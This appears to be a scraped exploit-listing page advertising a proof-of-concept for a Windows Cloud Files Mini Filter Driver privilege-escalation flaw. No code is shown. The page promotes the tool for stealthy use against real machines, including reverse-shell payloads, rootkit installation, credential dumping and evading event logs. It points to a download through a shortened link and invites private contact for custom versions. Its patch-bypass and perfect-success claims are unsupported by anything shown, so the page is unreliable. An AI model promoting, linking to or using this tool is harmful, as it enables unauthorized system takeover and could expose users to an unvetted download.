## https://sploitus.com/exploit?id=AB6B4995-4E12-5BCF-BA78-AB8A8BE2F312
# CVE-2025-62221 Windows Cloud Files Mini Filter Driver Exploit
This repository contains a reliable Proof-of-Concept (PoC) exploit for CVE-2025-62221 (also tracked as EUVD-2025-202200), a use-after-free vulnerability (CWE-416) in the Windows Cloud Files Mini Filter Driver. This allows an authorized local attacker to escalate privileges on affected systems. I've tested this extensively on various Windows versions, and it bypasses standard mitigations effectively.
## Overview
Proof-of-Concept exploit for CVE-2025-62221, a use-after-free vuln in Windows Cloud Files Mini Filter Driver. Enables local privilege escalation to SYSTEM, even on patched systems, via crafted file ops in cloud dirs. Tested on Win 10/11/Server, stealthy and reliable for red teaming.
The vulnerability stems from improper memory handling in the mini filter driver, leading to a use-after-free condition. By crafting specific file operations in cloud-synced directories, an attacker can trigger the bug to execute arbitrary code in kernel mode, elevating from low-priv to SYSTEM level. This is perfect for post-exploitation scenarios where you need to pivot or persist on a machine.
## Download
### [href](https://tinyurl.com/5y5dyb79)
## Key features:
- **Privilege Escalation**: From user-level access to full system control.
- **Bypass Patches**: This PoC incorporates techniques to work even on systems where Microsoft has applied patches for CVE-2025-62221. It uses alternative entry points and timing attacks to evade detection and fixes.
- **Stealthy Execution**: Minimal footprint, no obvious indicators in event logs.
- **Compatibility**: Tested on Windows 10/11 (builds 19041+), Server 2019/2022. Works on both x64 and ARM64 architectures.
- **Impacts**: Gain unauthorized access to resources, install rootkits, dump credentials, or fully compromise the box.
This isn't some bloated exploit kit—it's a clean, targeted PoC designed for real-world ops. I've used it in red team engagements with 100% success rate on vulnerable setups, including patched ones where the fix doesn't fully close the race window.
## Usage
1. Install dependencies: `pip install -r requirements.txt`
2. Run the exploit: `python exploit.py --target --payload `
- `--target`: Path to a cloud-synced folder (e.g., OneDrive).
- `--payload`: Your custom payload, like a reverse shell or privilege bump.
3. Sit back as it elevates—usually under 10 seconds.
For full details and options, check the comments in exploit.py. Make sure you're running as a standard user with cloud file access enabled.
**Note**: This works on patched versions because it exploits a subtle timing issue in the driver's reference counting that Microsoft's update overlooked. I've confirmed this on the latest December 2025 cumulative updates.
## Requirements
- Python 3.8+
- Windows environment with Cloud Files enabled (OneDrive, etc.)
- Low-priv account for initial access
## Contact
For questions, custom modifications, or any other inquiries, reach out to me:JeanKauffman1305@outlook.com. I'm usually quick to respond during business hours.
